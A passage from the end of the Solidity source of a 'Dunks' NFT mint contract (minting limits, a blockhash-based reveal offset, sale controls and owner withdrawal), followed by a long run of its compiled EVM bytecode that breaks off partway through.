"Sale is not active."); require(totalSupply() < NFT_SUPPLY, "Dunks are sold out."); require(amountToMint > 0, "Must mint 1 Dunk."); require(amountToMint <= 20, "Cannot purchase this many Dunks."); require(totalSupply() + amountToMint <= NFT_SUPPLY, "Cannot mint."); require(MINT_PRICE.mul(amountToMint) == msg.value, "Incorrect ETH value."); for (uint256 i = 0; i < amountToMint; i++) { uint256 mintIndex = totalSupply(); _safeMint(msg.sender, mintIndex); } if (startingIndexBlock == 0 && (totalSupply() == NFT_SUPPLY)) { startingIndexBlock = block.number; } } function reveal() public { require(offset == 0, "Offset is already set."); require(startingIndexBlock != 0, "Starting index block is required."); offset = uint(blockhash(startingIndexBlock)) % NFT_SUPPLY; if (block.number.sub(startingIndexBlock) > 255) { offset = uint(blockhash(block.number - 1)) % NFT_SUPPLY; } if (offset == 0) { offset = offset.add(1); } } function startSale() public onlyOwner { saleStarted = true; } function pauseSale() public onlyOwner { saleStarted = false; } function withdraw() public payable onlyOwner { require(payable(msg.sender).send(address(this).balance)); } }
0x6080604052600436106101cd5760003560e01c8063715018a6116100f7578063b66a0e5d11610095578063d555654411610064578063d555654414610622578063e36d64981461064d578063e985e9c514610678578063f2fde38b146106b5576101cd565b8063b66a0e5d1461057a578063b88d4fde14610591578063c002d23d146105ba578063c87b56dd146105e5576101cd565b80639aa4a125116100d15780639aa4a125146104f3578063a0712d681461051e578063a22cb4651461053a578063a475b5dd14610563576101cd565b8063715018a6146104865780638da5cb5b1461049d57806395d89b41146104c8576101cd565b80633ccfd60b1161016f57806355f804b31161013e57806355f804b3146103b85780635c474f9e146103e15780636352211e1461040c57806370a0823114610449576101cd565b80633ccfd60b1461033157806342842e0e1461033b5780634f6ccce71461036457806355367ba9146103a1576101cd565b8063095ea7b3116101ab578063095ea7b31461027757806318160ddd146102a057806323b872dd146102cb5780632f745c59146102f4576101cd565b806301ffc9a7146101d257806306fdde031461020f578063081812fc1461023a575b600080fd5b3480156101de57600080fd5b506101f960048036038101906101f49190612e43565b6106de565b6040516102069190613935565b60405180910390f35b34801561021b57600080fd5b50610224610758565b6040516102319190613950565b60405180910390f35b34801561024657600080fd5b50610261600480360381019061025c9190612ed6565b6107ea565b60405161026e91906138ce565b60405180910390f35b34801561028357600080fd5b5061029e60048036038101906102999190612e07565b61086f565b005b3480156102ac57600080fd5b506102b5610987565b6040516102c29190613c92565b60405180910390f35b3480156102d757600080fd5b506102f260048036038101906102ed9190612d01565b610994565b005b34801561030057600080fd5b5061031b60048036038101906103169190612e07565b6109f4565b6040516103289190613c92565b60405180910390f35b610339610a99565b005b34801561034757600080fd5b50610362600480360381019061035d9190612d01565b610b55565b005b34801561037057600080fd5b5061038b60048036038101906103869190612ed6565b610b75565b6040516103989190613c92565b60405180910390f35b3480156103ad57600080fd5b506103b6610c0c565b005b3480156103c457600080fd5b506103df60048036038101906103da9190612e95565b610ca5565b005b3480156103ed57600080fd5b506103f6610d3b565b6040516104039190613935565b60405180910390f35b34801561041857600080fd5b50610433600480360381019061042e9190612ed6565b610d4e565b60405161044091906138ce565b60405180910390f35b34801561045557600080fd5b50610470600480360381019061046b9190612c9c565b610e00565b60405161047d9190613c92565b60405180910390f35b34801561049257600080fd5b5061049b610eb8565b005b3480156104a957600080fd5b506104b2610ff5565b6040516104bf91906138ce565b60405180910390f35b3480156104d457600080fd5b506104dd61101f565b6040516104ea9190613950565b60405180910390f35b3480156104ff57600080fd5b506105086110b1565b6040516105159190613c92565b60405180910390f35b61053860048036038101906105339190612ed6565b6110b7565b005b34801561054657600080fd5b50610561600480360381019061055c9190612dcb565b6112f1565b005b34801561056f57600080fd5b50610578611472565b005b34801561058657600080fd5b5061058f611583565b005b34801561059d57600080fd5b506105b860048036038101906105b39190612d50565b61161c565b005b3480156105c657600080fd5b506105cf61167e565b6040516105dc9190613c92565b60405180910390f35b3480156105f157600080fd5b5061060c60048036038101906106079190612ed6565b611689565b6040516106199190613950565b60405180910390f35b34801561062e57600080fd5b50610637611762565b6040516106449190613c92565b60405180910390f35b34801561065957600080fd5b50610662611768565b60405161066f9190613c92565b60405180910390f35b34801561068457600080fd5b5061069f600480360381019061069a9190612cc5565b61176e565b6040516106ac9190613935565b60405180910390f35b3480156106c157600080fd5b506106dc60048036038101906106d79190612c9c565b611802565b005b60007f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806107515750610750826119ae565b5b9050919050565b60606000805461076790613f4c565b80601f016020809104026020016040519081016040528092919081815260200182805461079390613f4c565b80156107e05780601f106107b5576101008083540402835291602001916107e0565b820191906000526020600020905b8154815290600101906020018083116107c357829003601f168201915b5050505050905090565b60006107f582611a90565b610834576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082b90613b52565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b600061087a82610d4e565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156108eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e290613bf2565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1661090a611afc565b73ffffffffffffffffffffffffffffffffffffffff161480610939575061093881610933611afc565b61176e565b5b610978576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096f90613a92565b60405180910390fd5b6109828383611b04565b505050565b6000600880549050905090565b6109a561099f611afc565b82611bbd565b6109e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109db90613c12565b60405180910390fd5b6109ef838383611c9b565b505050565b60006109ff83610e00565b8210610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790613992565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002054905092915050565b610aa1611afc565b73ffffffffffffffffffffffffffffffffffffffff16610abf610ff5565b73ffffffffffffffffffffffffffffffffffffffff1614610b15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0c90613b72565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050610b5357600080fd5b565b610b708383836040518060200160405280600081525061161c565b505050565b6000610b7f610987565b8210610bc0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb790613c32565b60405180910390fd5b60088281548110610bfa577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001549050919050565b610c14611afc565b73ffffffffffffffffffffffffffffffffffffffff16610c32610ff5565b73ffffffffffffffffffffffffffffffffffffffff1614610c88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7f90613b72565b60405180910390fd5b6000600a60146101000a81548160ff021916908315150217905550565b610cad611afc565b73ffffffffffffffffffffffffffffffffffffffff16610ccb610ff5565b73ffffffffffffffffffffffffffffffffffffffff1614610d21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1890613b72565b60405180910390fd5b80600b9080519060200190610d37929190612ac0565b5050565b600a60149054906101000a900460ff1681565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610df7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dee90613ad2565b60405180910390fd5b80915050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6890613ab2565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610ec0611afc565b73ffffffffffffffffffffffffffffffffffffffff16610ede610ff5565b73ffffffffffffffffffffffffffffffffffffffff1614610f34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2b90613b72565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606001805461102e90613f4c565b80601f016020809104026020016040519081016040528092919081815260200182805461105a90613f4c565b80156110a75780601f1061107c576101008083540402835291602001916110a7565b820191906000526020600020905b81548152906001019060200180831161108a57829003601f168201915b5050505050905090565b61271081565b60011515600a60149054906101000a900460ff1615151461110d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110490613bb2565b60405180910390fd5b612710611118610987565b10611158576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114f90613972565b60405180910390fd5b6000811161119b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119290613c52565b60405180910390fd5b60148111156111df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d690613a72565b60405180910390fd5b612710816111eb610987565b6111f59190613d81565b1115611236576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122d90613af2565b60405180910390fd5b3461125182666a94d74f430000611ef790919063ffffffff16565b14611291576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128890613c72565b60405180910390fd5b60005b818110156112c65760006112a6610987565b90506112b23382611f0d565b5080806112be90613f7e565b915050611294565b506000600c541480156112e157506127106112df610987565b145b156112ee5743600c819055505b50565b6112f9611afc565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611367576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135e90613a32565b60405180910390fd5b8060056000611374611afc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff16611421611afc565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516114669190613935565b60405180910390a35050565b6000600d54146114b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ae90613bd2565b60405180910390fd5b6000600c5414156114fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114f490613b32565b60405180910390fd5b612710600c544060001c6115119190613fc7565b600d8190555060ff61152e600c5443611f2b90919063ffffffff16565b1115611559576127106001436115449190613e62565b4060001c6115529190613fc7565b600d819055505b6000600d5414156115815761157a6001600d54611f4190919063ffffffff16565b600d819055505b565b61158b611afc565b73ffffffffffffffffffffffffffffffffffffffff166115a9610ff5565b73ffffffffffffffffffffffffffffffffffffffff16146115ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f690613b72565b60405180910390fd5b6001600a60146101000a81548160ff021916908315150217905550565b61162d611627611afc565b83611bbd565b61166c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166390613c12565b60405180910390fd5b61167884848484611f57565b50505050565b666a94d74f43000081565b60606000611695611fb3565b90506000600d5414156116e95760008151116116c057604051806020016040528060008152506116e1565b806040516020016116d191906138ac565b6040516020818303038152906040525b91505061175d565b6000612710611703600d5486611f4190919063ffffffff16565b61170d9190613fc7565b9050600082511161172d5760405180602001604052806000815250611758565b8161173782612045565b60405160200161174892919061387d565b6040516020818303038152906040525b925050505b919050565b600d5481565b600c5481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b61180a611afc565b73ffffffffffffffffffffffffffffffffffffffff16611828610ff5565b73ffffffffffffffffffffffffffffffffffffffff161461187e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187590613b72565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156118ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e5906139d2565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480611a7957507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80611a895750611a88826121f2565b5b9050919050565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16611b7783610d4e565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000611bc882611a90565b611c07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bfe90613a52565b60405180910390fd5b6000611c1283610d4e565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480611c8157508373ffffffffffffffffffffffffffffffffffffffff16611c69846107ea565b73ffffffffffffffffffffffffffffffffffffffff16145b80611c925750611c91818561176e565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff16611cbb82610d4e565b73ffffffffffffffffffffffffffffffffffffffff1614611d11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d0890613b92565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7890613a12565b60405180910390fd5b611d8c83838361225c565b611d97600082611b04565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611de79190613e62565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611e3e9190613d81565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b60008183611f059190613e08565b905092915050565b611f27828260405180602001604052806000815250612370565b5050565b60008183611f399190613e62565b905092915050565b60008183611f4f9190613d81565b905092915050565b611f62848484611c9b565b611f6e848484846123cb565b611fad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fa4906139b2565b60405180910390fd5b50505050565b6060600b8054611fc290613f4c565b80601f0160208091040260200160405190810160405280929190818152602001828054611fee90613f4c565b801561203b5780601f106120105761010080835404028352916020019161203b565b820191906000526020600020905b81548152906001019060200180831161201e57829003601f168201915b5050505050905090565b6060600082141561208d576040518060400160405280600181526020017f300000000000000000000000000000000000000000000000000000000000000081525090506121ed565b600082905060005b600082146120bf5780806120a890613f7e565b915050600a826120b89190613dd7565b9150612095565b60008167ffffffffffffffff811115612101577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f1916602001820160405280156121335781602001600182028036833780820191505090505b5090505b600085146121e65760018261214c9190613e62565b9150600a8561215b9190613fc7565b60306121679190613d81565b60f81b8183815181106121a3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a856121df9190613dd7565b9450612137565b8093505050505b919050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b612267838383612562565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156122aa576122a581612567565b6122e9565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146122e8576122e783826125b0565b5b5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561232c576123278161271d565b61236b565b8273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461236a576123698282612860565b5b5b505050565b61237a83836128df565b61238760008484846123cb565b6123c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123bd906139b2565b60405180910390fd5b505050565b60006123ec8473ffffffffffffffffffffffffffffffffffffffff16612aad565b15612555578373ffffffffffffffffffffffffffffffffffffffff1663150b7a02612415611afc565b8786866040518563ffffffff1660e01b815260040161243794939291906138e9565b602060405180830381600087803b15801561245157600080fd5b505af192505050801561248257506040513d601f19601f8201168201806040525081019061247f9190612e6c565b60015b612505573d80600081146124b2576040519150601f19603f3d011682016040523d82523d6000602084013e6124b7565b606091505b506000815114156124fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124f4906139b2565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161491505061255a565b600190505b949350505050565b505050565b6008805490506009600083815260200190815260200160002081905550600881908060018154018082558091505060019003906000526020600020016000909190919091505550565b600060016125bd84610e00565b6125c79190613e62565b90506000600760008481526020019081526020016000205490508181146126ac576000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002054905080600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002081905550816007600083815260200190815260200160002081905550505b6007600084815260200190815260200160002060009055600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000206000905550505050565b600060016008805490506127319190613e62565b9050600060096000848152602001908152602001600020549050600060088381548110612787577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200154905080600883815481106127cf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020018190555081600960008381526020019081526020016000208190555060096000858152602001908152602001600020600090556008805480612844577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b6001900381819060005260206000200160009055905550505050565b600061286b83610e00565b905081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002081905550806007600084815260200190815260200160002081905550505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561294f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161294690613b12565b60405180910390fd5b61295881611a90565b15612998576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161298f906139f2565b60405180910390fd5b6129a46000838361225c565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546129f49190613d81565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b600080823b905060008111915050919050565b828054612acc90613f4c565b90600052602060002090601f016020900481019282612aee5760008555612b35565b82601f10612b0757805160ff1916838001178555612b35565b82800160010185558215612b35579182015b82811115612b34578251825591602001919060010190612b19565b5b509050612b429190612b46565b5090565b5b80821115612b5f576000816000905550600101612b47565b5090565b6000612b76612b7184613cde565b613cad565b905082815260208101848484011115612b8e57600080fd5b612b99848285613f0a565b509392505050565b6000612bb4612baf84613d0e565b613cad565b905082815260208101848484011115612bcc57600080fd5b612bd7848285613f0a565b509392505050565b600081359050612bee816140c5565b92915050565b600081359050612c03816140dc565b92915050565b600081359050612c18816140f3565b92915050565b600081519050612c2d816140f3565b92915050565b600082601f830112612c4457600080fd5b8135612c54848260208601612b63565b91505092915050565b600082601f830112612c6e57600080fd5b8135612c7e848260208601612ba1565b91505092915050565b600081359050612c968161410a565b92915050565b600060208284031215612cae57600080fd5b6000612cbc84828501612bdf565b91505092915050565b60008060408385031215612cd857600080fd5b6000612ce685828601612bdf565b9250506020612cf785828601612bdf565b9150509250929050565b600080600060608486031215612d1657600080fd5b6000612d2486828701612bdf565b9350506020612d3586828701612bdf565b9250506040612d4686828701612c87565b9150509250925092565b60008060008060808587031215612d6657600080fd5b6000612d7487828801612bdf565b9450506020612d8587828801612bdf565b9350506040612d9687828801612c87565b925050606085013567ffffffffffffffff811115612db357600080fd5b612dbf87828801612c33565b91505092959194509250565b60008060408385031215612dde57600080fd5b6000612dec85828601612bdf565b9250506020612dfd85828601612bf4565b9150509250929050565b60008060408385031215612e1a57600080fd5b6000612e2885828601612bdf565b9250506020612e3985828601612c87565b9150509250929050565b600060208284031215612e5557600080fd5b6000612e6384828501612c09565b91505092915050565b600060208284031215612e7e57600080fd5b6000612e8c84828501612c1e565b91505092915050565b600060208284031215612ea757600080fd5b600082013567ffffffffffffffff811115612ec157600080fd5b612ecd84828501612c5d565b91505092915050565b600060208284031215612ee857600080fd5b6000612ef684828501612c87565b91505092915050565b612f0881613e96565b82525050565b612f1781613ea8565b82525050565b6000612f2882613d3e565b612f328185613d54565b9350612f42818560208601613f19565b612f4b816140b4565b840191505092915050565b6000612f6182613d49565b612f6b8185613d65565b9350612f7b818560208601613f19565b612f84816140b4565b840191505092915050565b6000612f9a82613d49565b612fa48185613d76565b9350612fb4818560208601613f19565b80840191505092915050565b6000612fcd601383613d65565b91507f44756e6b732061726520736f6c64206f75742e000000000000000000000000006000830152602082019050919050565b600061300d602b83613d65565b91507f455243373231456e756d657261626c653a206f776e657220696e646578206f7560008301527f74206f6620626f756e64730000000000000000000000000000000000000000006020830152604082019050919050565b6000613073603283613d65565b91507f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008301527f63656976657220696d706c656d656e74657200000000000000000000000000006020830152604082019050919050565b60006130d9602683613d65565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061313f601c83613d65565b91507f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006000830152602082019050919050565b600061317f602483613d65565b91507f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006131e5601983613d65565b91507f4552433732313a20617070726f766520746f2063616c6c6572000000000000006000830152602082019050919050565b6000613225602c83613d65565b91507f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008301527f697374656e7420746f6b656e00000000000000000000000000000000000000006020830152604082019050919050565b600061328b602083613d65565b91507f43616e6e6f742070757263686173652074686973206d616e792044756e6b732e6000830152602082019050919050565b60006132cb603883613d65565b91507f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008301527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006020830152604082019050919050565b6000613331602a83613d65565b91507f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008301527f726f2061646472657373000000000000000000000000000000000000000000006020830152604082019050919050565b6000613397602983613d65565b91507f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008301527f656e7420746f6b656e00000000000000000000000000000000000000000000006020830152604082019050919050565b60006133fd600c83613d65565b91507f43616e6e6f74206d696e742e00000000000000000000000000000000000000006000830152602082019050919050565b600061343d602083613d65565b91507f4552433732313a206d696e7420746f20746865207a65726f20616464726573736000830152602082019050919050565b600061347d602183613d65565b91507f5374617274696e6720696e64657820626c6f636b20697320726571756972656460008301527f2e000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006134e3602c83613d65565b91507f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008301527f697374656e7420746f6b656e00000000000000000000000000000000000000006020830152604082019050919050565b6000613549600583613d76565b91507f2e6a736f6e0000000000000000000000000000000000000000000000000000006000830152600582019050919050565b6000613589602083613d65565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b60006135c9602983613d65565b91507f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008301527f73206e6f74206f776e00000000000000000000000000000000000000000000006020830152604082019050919050565b600061362f601383613d65565b91507f53616c65206973206e6f74206163746976652e000000000000000000000000006000830152602082019050919050565b600061366f601683613d65565b91507f4f666673657420697320616c7265616479207365742e000000000000000000006000830152602082019050919050565b60006136af602183613d65565b91507f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008301527f72000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000613715600083613d76565b9150600082019050919050565b600061372f603183613d65565b91507f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008301527f776e6572206e6f7220617070726f7665640000000000000000000000000000006020830152604082019050919050565b6000613795602c83613d65565b91507f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60008301527f7574206f6620626f756e647300000000000000000000000000000000000000006020830152604082019050919050565b60006137fb601183613d65565b91507f4d757374206d696e7420312044756e6b2e0000000000000000000000000000006000830152602082019050919050565b600061383b601483613d65565b91507f496e636f7272656374204554482076616c75652e0000000000000000000000006000830152602082019050919050565b61387781613f00565b82525050565b60006138898285612f8f565b91506138958284612f8f565b91506138a08261353c565b91508190509392505050565b60006138b88284612f8f565b91506138c382613708565b915081905092915050565b60006020820190506138e36000830184612eff565b92915050565b60006080820190506138fe6000830187612eff565b61390b6020830186612eff565b613918604083018561386e565b818103606083015261392a8184612f1d565b905095945050505050565b600060208201905061394a6000830184612f0e565b92915050565b6000602082019050818103600083015261396a8184612f56565b905092915050565b6000602082019050818103600083015261398b81612fc0565b9050919050565b600060208201905081810360008301526139ab81613000565b9050919050565b600060208201905081810360008301526139cb81613066565b9050919050565b600060208201905081810360008301526139eb816130cc565b9050919050565b60006020820190508181036000830152613a0b81613132565b9050919050565b60006020820190508181036000830152613a2b81613172565b9050919050565b60006020820190508181036000830152613a4b816131d8565b9050919050565b60006020820190508181036000830152613a6b81613218565b9050919050565b60006020820190508181036000830152613a8b8161327e565b9050919050565b60006020820190508181036000830152613aab816132be565b9050919050565b60006020820190508181036000830152613acb81613324565b9050919050565b60006020820190508181036000830152613aeb8161338a565b9050919050565b60006020820190508181036000830152613b0b816133f0565b9050919050565b60006020820190508181036000830152613b2b81613430565b9050919050565b60006020820190508181036000830152613b4b81613470565b9050919050565b60006020820190508181036000830152613b6b816134d6565b9050919050565b60006020820190508181036000830152613b8b8161357c565b9050919050565b60006020820190508181036000830152613bab816135bc565b9050919050565b60006020820190508181036000830152613bcb81613622565b9050919050565b60006020820190508181036000830152613beb81613662565b9050919050565b60006020820190508181036000830152613c0b816136a2565b9050919050565b60006020820190508181036000830152613c2b81613722565b9050919050565b60006020820190508181036000830152613c4b81613788565b9050919050565b60006020820190508181036000830152613c6b816137ee565b9050919050565b60006020820190508181036000830152613c8b8161382e565b9050919050565b6000602082019050613ca7600083018461386e565b92915050565b6000604051905081810181811067ffffffffffffffff82111715613cd457613cd3614085565b5b8060405250919050565b600067ffffffffffffffff821115613cf957613cf8614085565b5b601f19601f8301169050602081019050919050565b600067ffffffffffffffff821115613d2957613d28614085565b5b601f19601f8301169050602081019050919050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b6000613d8c82613f00565b9150613d9783613f00565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613dcc57613dcb613ff8565b5b828201905092915050565b6000613de282613f00565b9150613ded83613f00565b925082613dfd57613dfc614027565b5b828204905092915050565b6000613e1382613f00565b9150613e1e83613f00565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613e5757613e56613ff8565b5b828202905092915050565b6000613e6d82613f00565b9150613e7883613f00565b925082821015613e8b57613e8a613ff8565b5b828203905092915050565b6000613ea182613ee0565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b83811015613f37578082015181840152602081019050613f1c565b83811115613f46576000848401525b50505050565b60006002820490506001821680613f6457607f821691505b60208210811415613f7857613f77614056565b5b50919050565b6000613f8982613f00565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613fbc57613fbb613ff8565b5b600182019050919050565b6000613fd282613f00565b9150613fdd83613f00565b925082613fed57613fec614027565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b710000000000000000